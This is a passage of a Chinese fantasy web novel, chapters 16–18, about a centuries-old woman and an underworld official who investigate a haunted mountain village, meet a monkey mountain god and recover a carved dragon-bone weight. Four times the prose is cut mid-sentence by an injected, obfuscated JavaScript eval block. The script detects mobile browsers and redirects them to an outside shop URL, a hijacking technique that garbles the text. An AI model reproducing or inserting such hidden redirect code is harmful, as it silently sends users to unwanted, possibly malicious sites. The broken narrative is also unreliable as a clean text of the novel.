随后,两人又去正房堂屋参观了搜集的旧物,簸箕、斗笠、锄头、镰刀……对于现在的人来说,确实非常有新鲜感。但这两个从那个年代走过来的老家伙,心中毫无波澜。 20分钟后,在陈家完整走了一圈。关临渊浑然不觉,在他浅色的休闲服背后,多了一道可疑的黑印。聂明月看着黑印子,搓了搓手指,这下心情好多了。 “两位可以自由参观,六点到旁边农庄用餐,我们为两位安排了地道的农家饭。”说罢,小陈就回去跟领导复命了。 - 知青的房间窗户正好和对面楼女眷窗户相对,两人站在窗口,看向对面,如果对面点灯或者有光亮的话,可以将里面看得一清二楚。 在房内的床榻上,摆了一床叠得整整齐齐棉花被,还有桌上的茶缸、脸盆架上的陶瓷盆……一众物品的存在,极力复原特殊年代的知青生活,满足现代人的好奇心。 聂明月留意到,在写字台的玻璃板下,放了一张旧照片和报纸剪报。照片是6寸黑白的,一群年轻人正精神抖擞地扛着农具走在路上。 报纸则是《秦川日报》1997年的一期,用半版版面,报道了老知青回乡寻找青春记忆的事情,同时让照片上的老人们,按照当年的队形,站在同一个位置合影。 她数了数,报纸上的人和照片上的比起来,少了一个,于是拿起手机,把两张合影都拍了下来。 关临渊先问:“知青可疑?” 聂明月也不跟他绕弯子,快速将陈丽华的故事讲了一遍。 关临渊听完,开始说他的来意。 “百年前,我在越西一带,抓了一头作乱的妖兽……”他刚一开口,聂明月就不乐意了:“你抓妖兽做什么?” “和你无关的千年老妖兽。”关临渊说完有点懊恼:【我为啥跟她解释?】 “那头妖兽早就是半死之身,不知道用了什么邪术法宝,让它躲开了轮回。”得,他还是没忍住解释了。 “我将它带回冥池,审问时才知道,它曾化成人形,在人间混成了个大商人,还成家生子,有了后人……”关临渊道。 “那个商人,姓孙?”聂明月打断他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112208|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不愧是明堂主人,这点小事都知道?”关临渊是真的吃惊了。 “你先说。”聂明月摆摆手,让他不要假客套。 “它有意贿赂我,说做了个法宝,愿意送给我,可让我三界行走畅通无阻,只要我放了它。我直接把它扔到冥池里泡着,就没有再理会了。” “半个月前,我发现跑了个妖魂,它以魔气入脑修炼百年,最终突破了禁制。我想起它交代的过往恶行中,曾让一个名匠以功德之身,为它做法器。我查了那些年功德突然耗损的亡魂档案,找到了陈三金。他本来福缘极大,能厚泽三代,却因此枉死,还殃及子女一门绝户,最后也没能投个好胎。” “陈梨花现在过得还行,我打算此事了后帮她一把,也能有个半灵之体。”聂明月提醒他,陈三金还有后人在世。 关临渊不予置评,他哪敢啊,大小姐说了,他只管得了阴间的事。 “妖兽入魔,这让我想起另一件事。”聂明月在手机里找出白瑾瑜关于龙洞的文章照片,递给关临渊。 关临渊快速浏览完:“你说的业秤,需要龙骨龙须做材料,恰好对上了。货郎筹划这事用了千年,控制的魔物以半虚半实的能力就能屠龙,他到底想做什么?” “陈梨花可能有危险。”聂明月脸色一变,立即给计九崖打电话,“希望还来得及。” - 两千公里之外的海泽市,计九崖正在明月山庄门岗亭里喝茶,接到电话后,他表示马上去找陈丽华,顺便打听当年住在她家的知青身份。 他走出岗亭,看到一个戴眼镜的清瘦男人正站在小区外徘徊。计九崖见他没有进来的意思,就不再理会,匆匆朝陈丽华家走去。 那男人迟疑良久,抬头向上看,一张半圆灵幕从上而下,将整个海泽市笼罩在内,其间有强大灵力自山庄尽头的月亮湾山头涌出,源源不绝。 “竟然设了结灵阵,看来‘锁沧海’和计家的人也在这里了。”他权衡了下自己目前的实力,如果在城中施展法力,会立即被人察觉,万一惊动了镇海寺那头灵兽……思来想去,最终恨恨离去。 城市另一端的望南街28号,被孟夏揪着加班的唐槐,终于拨通了罗家后人的越洋电话。 接电话的是罗永立的小孙女,她说父亲重病,全家都守在医院。 唐槐宽慰了两句,只盼罗先生早日病愈。他接着翻旧杂志上白瑾瑜的专栏,边看边记笔记:“高考也没这么用功啊!”他暗自感叹,怎么自从来了海泽,就一直在各种查资料啊。 直到坐得腰酸背痛,唐槐伸了个懒腰,拿起手机一看,已是晚上六点半了,聂明月的上一条信息还停留在上午:“也不知道太奶奶到了龙洞村没有,怎么都没回我消息?” - 太奶奶聂明月此时正提着一个酒葫芦,站在酒店房间里愣神。 她和关临渊吃过晚饭,回房休整。刚一进屋,就发现有人进来过,阳台门半开着,窗帘还在微微晃动。 在靠墙的写字台上,赫然立着一个圆肚大葫芦。她拔出木塞子晃了晃,一阵清冽的酒香扑鼻而来。 应该和下午的果子一样,是同一个神秘人送过来的。她拿着葫芦走到阳台,打算仔细检查下有没有可疑痕迹,正好隔壁的关临渊也探出头来。 “喂,你看到什么没有?”她大声问。 关临渊一脸蒙:“我就出来透个气,没打算看你。” “这个!”聂明月把酒葫芦递给他。 关临渊深深吸气,闻到酒味脸色一变,直接对着葫芦嘴喝了一大口,喝完后还回味咂摸,忍不住叹:“纯正猴儿酒!绝了!” 16. 山神报恩 晚上八点,陈家大院门口的小广场上,点起了熊熊篝火。 时值周末,很多周边城市的家庭来乡村休闲游。暖场的音乐一响,大家就三三两两走了过来,百余名游客绕篝火一圈,戴着怪异面具的舞者刚一上场,观众们就捧场地鼓起了掌。 开场节目是当地民俗中的祭祀表演,讲的是神巫祈雨的故事。很久以前,旱妖肆虐着人间,所到之处,寸草不生,百姓请来神巫施术,将旱妖驱赶到深山中,最终天降大雨,百姓们奔走欢呼…… 虽然场地简陋,没有舞美灯光营造气氛,但演员古朴神秘的肢体表演,依然吸引了观众的注意。关临渊正要扭头跟聂明月说话,发现她正专注地看着领舞旱妖的红纹面具,篝火的光亮照在那女子的脸上,半明半昧。 关临渊不敢打断大小姐看演出,又转头继续看表演。 下一个节目,演员们穿上了道具服,场中出现了一群猴子人偶,在场的小朋友兴奋地大叫。“在两百多年前的大河乡,有一群猴子经常下山捣乱……”背景音响起,故事开始了:一只小猴子被村民抓住后圈养,从那天起,村民家每天都会出现新鲜的野果、摔断腿的兔子、漂亮的野鸡毛……村民藏在屋里等,一只大猴出现,将一个葫芦偷偷放到门前。原来大猴是开了灵智的山神,来求村民放了自己的猴子猴孙。村民感念山神聪慧,就把小猴子放了…… 葫芦一出来,聂关二人同时看向对方,这似曾相识的剧情…… 接下来的几个节目都很新意,全场宾主尽欢。演出结束后的篝火舞会,聂明月却无心参与了。 她提前离场往回走,关临渊跟在身后,一路无话。 - 刚到酒店门口,一个穿着夹克衫的高大青年走上前来,冲聂明月恭恭敬敬行了个礼:“大人,我家长辈在您房中等候,怕惊扰到您,先让晚辈来接您。” 聂明月并不意外,她点头示意,径直往里走。关临渊见状,跟着两人上楼进了房间。 房内不止一人,拄着黑藤拐杖的白须老者,身旁站着一个穿着中式袄裙的漂亮女孩。老者一见聂明月,激动得上前两步:“大人……吾是本地山神,大人刚进秦川,吾就想来拜见,奈何着实不便,只得等到天黑……” 聂明月心中有疑惑,却没在面上表现出来:“我在火车上就听到山中传密,你们的消息挺快。” 老者怕她生怒,吓得想要立即跪下,聂明月做了个拂袖的动作,一股力量托住了他,却跪不下来了。他暗叹大人神力了得,连忙解释:“秦川中部山脉有三百峰,各峰都有山灵巡守。大家对大人的气息非常熟悉,是以奔走相告。待传到吾处,吾又寻大人踪迹从秦北县至陈家山,就错过了第一时间迎大人……” 聂明月见老者颤颤巍巍的样子,仿佛只要她一瞪眼,老头就会当场撅过去。她沉声安抚道:“我收到你们的心意了,果子很好吃,酒也很好喝。” 一口喝了一大半猴儿酒的关临渊,暗自清了清嗓子,回味起那香甜醉人的味道。 “大人自当年施恩为吾等启智后,再也没进秦川,没想到吾有生之年,还能等到这一天,吾可瞑目矣……吾已风烛残年,正忧山神之位后继无人,幸得大人归来,想来是上天早有安排,吾等众灵果然受天地眷顾……” 聂明月有意引导,表示时间太久,经历太多,当年的事没放在心上,已经淡忘了。老者连忙仔细说了一遍,在他的激动讲述中,聂明月大概听明白了。 - 千年前,有一大妖在猿王峰下碧潭中修炼,身边还有一条幼蛟灵宠。幼蛟化龙时遭逢意外,撞山而亡。几个月后大妖出关,寻灵宠无踪,就近抓了一小猴问询,小猴子比手画脚说不明白,大妖顺手给猴儿开了灵智,赐千年长生。 小猴子告诉大妖,一群人类修士将幼蛟生生逼死了。大妖震怒,瞬间山摇地动,山头岩壁断裂,石块滑落滚入山脚。天上乌云集结,暴雨落下,山洪倾泻而出,硬生生涌出一条大河来。 大妖见因自己发威,导致洪水冲刷山体,树倒兽奔,心生悔意,又施法召一轮满月升空,月华光耀山林,但凡所照之处,草木鸟兽都恢复了生机。 此事之后,大妖化成一道红云而去,不见踪影。那晚的月华久久不散,秦川三百峰生灵或多或少受月光沐浴,有天资卓越者得悟后开始修炼,竟出了不少妖灵精怪。小猴儿被大妖亲手启智,最受尊崇,成了掌管三百峰的山神。 千年过去,除了山神,当年的精怪及其后代佼佼者为数不多。现在山神寿命将至,却无妖能担大任,所以它们此行,还希望聂明月为群峰培养选拔出一个新的山神来。 小猴,哦不,山神老者从怀中掏出一柄碧色如意,双手递到聂明月跟前:“大人离开后,吾与众灵为报大恩,寻遍群山,终于找到青龙葬身之地。在龙头砸出的深坑底部,寻得这件宝物,气息与大人一致,想必与您相关。吾守此物千年,每日惶惶,从不敢懈怠,想着有朝一日,将它物归原主,也能顺求大人再助吾一力。” 聂明月接过如意,见玉柄之上有如云朵般的碧色灵力缭绕,竟然是一个难得的法器,拿在手中,心生喜悦。 老者见她收下了宝物,松了一口气,又说道:“年轻一辈中,仅两位出类拔萃者可化形,他们幼年就在人间生活,读过几年书。晚辈们一心想着学成之后回山守护,吾却以为,吾等多年远离人间,是为求个活路。如今人间安宁,山中空间愈加有限,若小辈在人间历练,或许可寻得妖灵的生存之道。大人若不嫌弃,彩衣与季舟从此跟随大人,随侍左右……”他说完这话,年轻男子和女孩并排一站,行了个拜礼。 就这么突然被塞了两个人,聂明月属实有点勉强。 但她对自己来历的追寻已耗时多年,现在终于有了新线索。再加上酒也喝了,礼物也收了,实在不好意思拒绝,只好说道:“新山神的事,我们可以从长计议。我这次到秦川是有事要办。你们两个之后可以到海泽市去,那边有专门的人来接待安排。一会儿我给你们留个地址电话。” 老者见大事已经办好了,问起了聂明月此行目的。聂明月简单说了下,老者沉思片刻,说:“龙洞村虽在吾的管辖之内,盖因当年灵宠葬身在那处,我等忌惮大人余怒,一直未敢涉足。” 他边说边查看聂明月脸色,生怕这位大妖再起雷霆之怒,掀翻山头。 幸好聂明月一向情绪稳定,这事也与山神众妖无关。双方约定了年轻人赴海泽的时间,山神一行就要告退。 一直在旁边看热闹的关临渊突然说:“那个,猴儿酒,还有没有?” 老者闻言大喜,难得大人和她的朋友喜欢,允诺在明日聂明月离开之前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125775|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再送些酒来。 他们没有从房门离开,依然走到阳台,化为两猿一鸟,腾空向林中奔去。 看着山神化形后毫无老态的矫健身形远去,聂明月才反应过来,上了这千年老猴精的当,送礼又献宝,结果给她扔了两个烫手山芋,既要选山神,又要带孩子…… 她想起关临渊还找人家要酒,正要发作,关临渊就气定神闲地说:“喝了一口你的酒,我要一壶来还你。” 他今晚看了个全程,但因了解聂明月心中执念,所以虽有疑问,却不再提起。 反倒是聂明月举着如意仔细端详,发出感叹:“我自以为活了100多年,已是腻了,当年还因此和你打了一架。没想到这趟秦川之行,直接给我拉到千岁以上了。关临渊,你说我到底是个什么东西?” 关临渊知她此生只为来历所困,好意安抚:“好歹知道了你是个能呼风唤雨的,还有本事养龙当宠物。从我的角度,不管你是大妖还是大神,能不能把你那毁天灭地的本事找回来啊?那我可就省事了,你一个弹指——”他比了个弹指的动作,见聂明月马上要变脸,赶紧收了回去。 - 聂明月玩了一晚上玉如意,也没研究出门道,只得将其暂且塞入背包中。第二日天没亮,季舟就送来了酒,还有一包晒干的果干:“爷爷说给您路上当零嘴。” 他还是跳的阳台…… “爷爷回去后,仔细翻阅记录,发现在六十年前的农历三月十五日,正好是今天,是个月圆之夜,传报说有外妖进山。爷爷曾派人察看,追到龙洞村一带没了踪迹。有只灵枭看得清楚,那是只白毛人形怪,山中从未有过的品种。爷爷认为它是借道路过,既然没有作乱,就不追究了。”季舟说:“爷爷说不知道这个线索对大人有没有用,让我知会您一声。” 聂明月谢过他后,就准备出门了,季舟问:“大人要去龙洞村吗?” 聂明月点头。她走得早,不想麻烦陈经理派车,准备自己走到大河乡上去,再等第一班客运车。 季舟说:“龙洞村在修路,经常堵车,您坐车的话,不一定什么时候到。我从小在山中长大,知道陈家山到龙洞村有一条村民走出来的小路。”他犹豫了一下,不知道聂明月现在是以人还是大妖的身份在世间行走,妥帖地说:“本地人得走四个多小时,按我的脚程,差不多90分钟。” 聂明月心领神会,这应该是老猴的特意嘱咐,让年轻人和她多多相处,于是欣然接受了。 季舟极为开心,接过聂明月的登山包背在身后,提着酒葫芦和果干包就出门了。 走到关临渊门口,聂明月犹豫了一下,想到他此行也有自己的事要办,便不作道别了。 “你不入北地,我不进南域”,这是当年她与他说的最后一句话。那么以后,就有缘再见吧。 到了酒店大堂,她就知道自己想多了。 那人换了一身干净的衣服,正坐在沙发上,好整以暇地端着纸杯喝咖啡呢。 “我们要办的是一个事儿,你别想自己单刷。”他笑着说。 “老人家就是爱学年轻人说新鲜话,不伦不类。”聂明月甩下一句,头也不回地往前走。 季舟极为细心,又去提关临渊的旅行包。 关临渊也没有客气,就让年轻人在新老板面前多表现表现吧。 17. 上山下水 山中晨露重,三人穿梭在多年无人走过的荒废野道,鞋子裤腿均沾湿了。季舟有心在聂明月面前博个好印象,又怕两位跟不上,不断调整速度试探。 爬过一个山头,聂明月一直跟在身后,那位关先生也没有落下。他心中讶异,继续提速,两人依然跟了上来。 关临渊觉得赶路沉闷,跟季舟搭话:“小季啊,听说你还上过学,读了几年啊?” 季舟说:“我去年才博士毕业,大学读了八年。” 关临渊:“啊?” 聂明月也颇意外,她当时听老猴子说的时候,还以为至多就是高中毕业而已。 关临渊继续问:“厉害啊小伙子,你学什么专业的?” 季舟:“临床医学,我还只是个实习医生。”他还挺不好意思的:“爷爷说大……说大人回来了,怕家里人接待不周到,我和彩衣前天连夜坐飞机赶回来的。” 聂明月暗想,老猴子原话应该不是这样的,大概是“大妖回来了,怕一言不合又给山头掀了”之类吧。 季舟一聊天,就忘了控制脚力,使出了血脉本能跨步走。于是荒无人烟的山中,出现了三个如影魅般的身影急速移动着。 到达龙洞村山脚下的公路时,才早上七点,太阳刚刚爬上山头。路边堆着还未运上山的建筑材料,靠边停着一辆掉漆的面包车。 聂明月看着车眼熟,敲敲司机的车窗。正在打盹的司机从梦中惊醒,吓了一跳。 “你怎么还在这里?”这是赶趟哥包的那辆车,按理说昨天他们就回县城了。 “我等了一晚上,张先生都没回来!”司机神色惶惶:“我想天亮了还等不到他,就报警了!” - 昨天下午,他们顺利到达此处。由于新修的盘山路还没铺浆压实,面包车爬不上去,赶趟哥就说自己走上去。 按照他的计划,会先去龙洞拍视频,然后穿过龙洞从小路上山到村里,再从盘山公路走下来。 等了两个多小时,傍晚6点多的时候,司机见天快黑了,怕夜间车不好开,就给赶趟哥打了个电话。他说让司机再等一下,最多二十分钟就往回走。 就这样又等了半个多钟头,司机再打电话就没人接了。山上的工人陆续下山,司机问了一下,确实有人看见有个外地人在村里拍照,后来去了哪里就不清楚了。 司机想着,包车老板不回来,钱还没有结,这一天就白忙活了。人要是在山里出了事,他也得承担责任,只得等到白天有人上山了,他跟着一起去找人。 聂明月给赶趟哥打电话,提示对方不在服务区。她给司机留了自己的号码,告诉他如果人回来了,就与她联系。 她要沿着赶趟哥的上山路线去找人。 “聂小姐,万一你也……”司机着实害怕。 “如果过了十点,我们都没回来,你就报警。” - 季舟是个山灵,和陈丽华一样,对龙洞有着天然的畏惧。 聂明月考虑到这点,让季舟先回去。 季舟想到大人的实力,如果真遇到连她都解决不了的事,自己也帮不了什么忙,便约定工作交接好后,就去海泽赴约。 聂明月站在近二十米高的龙洞口,想着故事里的那条小龙,当时决绝地撞向大山,得用多大的力气和勇气…… 她看向关临渊:“走吧,关大人。” “注意安全,聂女侠。”关临渊冲她说完,走在了前面。 就像多年前每一场冒险的开始。 聂明月已知龙洞与她有着很深的渊源,尝试运转气息感应周遭,除了比洞外更阴冷湿润,没有别的异常。 洞内静寂,连一丝风都没有,仅有洞顶倒悬的石钟乳凝成的水滴,“嘀嗒嘀嗒”落下。 她从包中取出一支强光手电——在孟夏给她准备的此次人设中,这是最有用的一个了——瞬间将前路照亮。 走了两三分钟,两人发现一块石头旁露出的红土软泥,比周围的泥土颜色更深更湿一些,应该是赶趟哥踩翻了石头留下的痕迹。 龙洞长约三百多米,走出去后,刚好到了山的另一边,还是山。 三座山头环围在洞口上,从山顶夹缝中透出一道光线来,形成了天然的一线天景观。此时阳光所落之处,正好在一汪深潭上,照得碧色水面玉波粼粼。 碧潭旁边则有一条极窄的小路,沿山势蜿蜒而上,一组新鲜脚印踩在湿土路口,赶趟哥从这里上的山。 “按陈丽华说的,当年她应该就是从这条路跑下来,掉到了龙潭子里。”聂明月观察地形,考虑当年她落水的位置。 关临渊站在水潭前,正俯身往下看。聂明月跟着他同一角度看过去,只有绿色的水苔和一群受到惊吓的细长小鱼。 他指着左侧说:“你看那面石头。” 一块块扁圆小石子附于潭壁,形成一面石墙深入潭底。最上面几排还是普通石面,越往下的紫色纹路越多,在水光中闪烁隐现。 聂明月嫌瞧得不够仔细,趴在潭边泥巴地上,伸手往下一抓,抠下来四五块带花纹的。 关临渊:“……” 聂明月不以为然:“你看下面那些空眼,又不是我一个人抠的。”想必是有村民见紫纹石漂亮,抠出来玩了。 关临渊有种想揍熊孩子的冲动:“来路不明的东西,别大意。这石头是活的,你仔细看,空眼里是还没长出来的。” 他最后下了结论:“水潭下面还有空间,里面有东西,我得去看看。” “那你想办法下水,我上山找人。”聂明月顺手把漂亮石头揣衣兜里,又把手电留给关临渊,自己上了小路。 这段上坡路极为陡峭,几乎没有下脚的地方,她顺着赶趟哥踩出来的坑疾行,拐弯前回头看了一眼,关临渊已脱下了外衣,露出了一身紧致的行动服,正在热身。 她迅速扭过头,装作没看见,继续爬山。 - 行至一个阳面缓坡,小路消失了,龙洞村到了。她看了看时间,自己爬上来用了5分钟,赶趟哥大概需要半小时。 村里有一片稀疏民房沿山势散落,一缕炊烟从其中一栋二层楼顶袅袅升起。 到处都是修建中的状态,看得出来很有规划,一排新楼已浇筑完毕,初现接待中心雏形。她朝炊烟处走去,那是一栋大概三十年前修的老式楼房,门口有一个大晒谷场。 一位六七十岁的老太太,正端着一盆淘米水出来。她见到聂明月,大为吃惊:“这么早?我饭都没煮起。” 聂明月解释说自己是来采风的,跟她寒暄了几句。老太太姓刘,嫁到龙洞村已经快五十年了。她和丈夫都想在山里住着,不愿到城里去。施工队来了后,见她身体硬朗手脚麻利,就雇她每天给工人做三顿饭,其实也是为了跟留守户打好关系。 “刘婆婆,您昨天有没有看到一个戴黑框眼镜的男人,二十八九岁,外地人,在村里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129477|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍视频?” “看到了的。到处拍,见啥都拍,还拍我了的。”刘婆婆边刷锅边说:“他还问我赵疯子家院子的事。” “有老梨树的那家?”聂明月问:“赵疯子是赵林生吗?” “就是喃。我说那屋里有啥拍的嘛,都荒了几十年了。他说梨花树好看,拍回去要……火还是红的。”刘婆婆大摇其头表示不能理解。 赶趟哥问到去老梨树的路,就匆匆走了。刘婆婆还看到他接了个电话,说20分钟就回去,就再也没见过那人了。 “刘婆婆,村里除了你家,还有谁家能投宿借住吗?”聂明月想到他有去村民家投宿的可能,先了解一下。 刘婆婆撇了撇嘴:“莫得了哦,拢共就我家和村头一家还在山里住。那家是个老光棍,屋头下不去脚。要是有人投宿,肯定是我家,我接待过好几波领导了。” “你认识赵林生家啊?他家还有人吗?” 刘婆婆神秘一笑,放低声音说:“你是不是冲闹鬼的事来的?听说在外面都传开了。”她见聂明月默认,接着说:“我在这住了几十年都没见过鬼,咋那网上的人啥都信?” “赵疯子他奶奶以前是村里的神婆,听说原来还挺体面的一个人。儿子媳妇死了后就神神道道了。赵林生脑子不好,”她指指自己的头,“是个疯子,打跑两个老婆了。我嫁过来的时候,他第二个老婆已经跑了。平时看起来正常,疯起来就喊打喊杀。没多久赵婆子又病死了,就没人管他了。我家老二出生那年,1978年,他在山上摔了,刚送到乡里卫生所人就没了。这一家子就这样彻底绝户了。” 这与陈丽华的版本大相径庭。聂明月心中疑惑,一看快八点了,问清老梨树的位置,边走边给计九崖打电话。 “陈丽华昨天说什么了吗?”她问。 “没有,还是原先的说法,她对知青也没什么印象,不记得名字了。”计九崖和唐槐昨晚收到聂明月发来的知青合影,仔细对比了模样,找到其中一个戴眼镜的男人。现在唐槐正在用照片修复软件,想让男人的样子更清晰。 聂明月迅速跟他们说了赵林生一家后来还活着的信息,两人都觉得被陈丽华骗了。 “这事有蹊跷。你们先别找她,等回头再商量。”她已经看到前方青杠林了,越往里走信号越弱,索性结束了通话。 - 说那是个院子,其实已经算不得了。土墙垮了一大半,外墙根长满了野草。院内除了那棵粗壮的梨花树,并没有别的草木。 聂明月几个房间走了一圈,处处垮塌,家具上附着厚厚的灰。在堆着柴垛子的木板屋里,她找到了赶趟哥的双肩包。印象中他对自己的包一直是轻拿轻放,大概是因为装着贵重的拍摄器材。 此时背包也是放在一堆撒着干燥小枝条的地面上的,拉链只拉上了一半。聂明月检查了下,包内长焦镜头和备用电池都在,还有证件包和零散现金。他离开时身上应该是轻便的设备,没打算走远,毕竟家当都在包里了。 土质地板做过硬化,看不到新鲜印记。倒是在正房前的两级台阶上,因为常年积土成泥,上面痕迹明显。除去成人鞋印外,几个手掌印赫然在内,聂明月伸手比了一下,偏小,像一个孩童扶着石阶在往上爬。 村里只有两户人,除了刘婆婆老两口,就剩村口老光棍,和干活的工人。 那孩子是哪里来的? 聂明月扭头看向那树开得嚣张晃眼的梨花。 18. 龙骨秤砣 聂明月站在梨花树下,再次睁开眼时,双瞳赤红。 此时在她面前的,只有一棵干枯残败、没有生机的风干老树。离地三尺的枝桠上,坐着一个浑身脏污的女人,垂着两只土布鞋,顶着满头血的脑袋看向她。 聂明月沉声道:“你未作恶之前,我可以不追究。” 女人仿佛听不懂她的话,张大嘴却无声,依旧直愣愣看她。 聂明月一把抓住女人的脚,把她硬生生拽了下来。女人依然张着嘴,急得手舞足蹈。 聂明月见她似口中有物,伸手捏住她下巴,直接向她嘴里掏去,触到咽底,摸到一干燥硬物,她不假思索地掏了出来。 女人终于能出声了,她“哇”一声哭了起来,声音越哭越大,哭到双眼流出了血泪,似要把被堵在肚子里的陈年老话全部哭出来。 聂明月听得头疼,抽空看向手中物,是一只三十多厘米长的硬壳虫,头藏在壳内不敢出来。 她顾不上研究,把虫子往包里一塞,继续盘问。 “人在哪里?”她掐住女人的脖子,稍稍施力威胁。 哪知女人根本不理会她,张开双手胡乱挥舞,哭闹不停。聂明月实在是被她哭烦了,扯住她的衣角撕下一片,揉成团又塞住了她的嘴。 哭声戛然而止,她方察觉到身后有异,直接回手向后方抓去,愣住了——那是一个细软的、冰凉的、带着肉感的胳膊。 被她抓住的,是个两三岁大的孩子,尽管她的额头巨瘤般高高隆起,把她的五官挤压得扭曲变形,但精心梳理过的两根短毛辫,依然能分辨出她是个小女孩。 女孩还不会说话,伸手指向聂明月身后的梨树根部,顺着她的手指看过去,聂明月才发现,枯树下半截及根部已经腐烂到土里,那里有一个半高的深洞,里面倚坐着一人,脖子上挂着一台相机,垂着头一动不动,正是赶趟哥。 聂明月怕他已经遇害了,疾步上前将他拖出洞坑,转头那一大一小已经没了踪影。 她无暇顾及,伸手探向赶趟哥的鼻下,还有气,还活着!她松了一口气,轻轻将他顺势放平在地。 她将眼中赤色褪去,眼前的一幕让她瞬间气极:那个失踪了一夜的网红,正躺在一树如雪的梨花下睡得香甜,一缕暖风拂来,花瓣片片飘落,鼾声阵阵起伏…… - “小姐姐,你等等我啊。”赶趟哥提着包边追边喊,似曾相识的画面再次上演。 聂明月快步走在下山的公路间,完全不想理会此人。 赶趟哥是被聂明月拍醒的,他睁眼时吓了一跳,被聂明月追问,才知道已经是第二天了,连忙解释:“我想多拍点画面——万一等到女鬼了呢……” 谁知道等了一会儿他就觉得累了,靠在树下休息,没想到就这样睡了过去。 “我就该听你的话,月亮出来以前就下山。对不起啊,还让你特意来找我。小姐姐,不,聂姐姐,明月妹妹……你太仗义了!”他连声说:“你这个朋友我交定了!” 聂明月只觉得聒噪。二十分钟后,两人一前一后到达司机处,惹得濒临崩溃的司机差点壮汉流泪。 “你赶紧回去吧,记得给司机双倍钱!”她把赶趟哥塞进面包车,狠狠拉上了车门。 目送面包车离去后,聂明月拿出手机看时间,上午九点半,不知道关临渊在水里有没有收获。 她这才想起来,他俩连个联系方式都没有。 - 她再次走进龙洞,因没有光源,便以赤瞳视物。此次洞内景象大不一样了,无数细小的微蓝光点在山壁闪烁,她每走一步,那光就多亮一点,像是沉睡已久的山中精灵,被她的脚步陆续唤醒。 “如果你真的和我有密切关系,我现在能为你做什么呢?”她在心里默问,浑然不觉将这句话说出了口,声音在空旷的洞内清晰回荡,把她自己吓了一跳。 这几天接收到的信息和线索,超过以前所有的经历,她还没有时间好好整理情绪。 她本就没有之前的记忆,初听到蛟龙的事情时,她无丝毫伤怀感慨,对于她来说,那就是话本子上的几个故事,故事里的几行字。 结果故事碎片拼凑出的真相是,幼蛟为了守护大妖,临时破境化形成龙,引开众敌之后,与魔物力战而竭,毅然赴死。 正确的反应,是不是应该像人类那样感动落泪?或者像大妖那样愤怒到毁天灭地? 在她的明确认知里,她不会飞天遁地,更没有翻云覆雨的能力。 山神说秦川三百峰妖灵因她降月华而生,猿王峰下的奔涌大河因她催山洪而起。 她的千年过往,存在于别人的传说里。 而真相是,这一百年来,她所依仗的,不过是不死不灭的命运,和无痛无觉的躯体。而正是她如此存在着的事实,在日夜不息地反噬折磨着她。 她不是人,她不是人。她到底是谁? 人人都说明堂主人无所不能,只有她自己知道,若不是一程程跋涉中遇到的那些人,齐力将她推向现在的方向,她宁可让自己永沉海底。 可是那些伙伴们啊,都像你这小龙一样,消失在时间长河里。 所以她还是得一个人走下去,走下去,才能留下他们存在过的证据。 一个人走路,真的很容易EMO啊…… - “喂!这么大的人还怕黑啊?瞧你垂头丧气的样子。”一个声音打断她的纷乱思绪,关临渊坐在水潭边的石头上,正似笑非笑地看向她,原本精修过的头发如今湿答答贴在脑门上,堂堂阴冥司大人此时形象全无,风采不再。 “眼怎么红了呢?”他站起来:“你可别哭啊!我不会哄人啊。” 聂明月收起赤瞳,她有很多秘密,这是其中一个。 “你看这是什么?”关临渊伸出手,掌心放着一个孩童拳头大小的重物,外层的铁皮早已生锈脱落,上面沾着几根黏腻水苔和淤泥。 那是龙骨秤砣。 她伸手接过来,抹去上面多余的东西,秤砣露出玉脂般的光泽来。 匠人是一代名匠,以福缘为刀,以匠心为笔,在小龙的脊梁上飞刀走笔—— 一头无角螭龙环绕向上,跃然而出。 它有着一对尖尖兽耳,眼睛圆而湿润,鼻梁短圆,两根龙须内钩成弧。 它全身布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136929|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满了细细云卷纹。 它的腿部微曲,脚爪附壁,尾巴神气地向上翘起…… “原来你长这样啊?”聂明月喃喃道:“一看就很淘气。” 她无处收纳,于是把它放入外衣左胸前的口袋里,轻微而谨慎地置于心上。 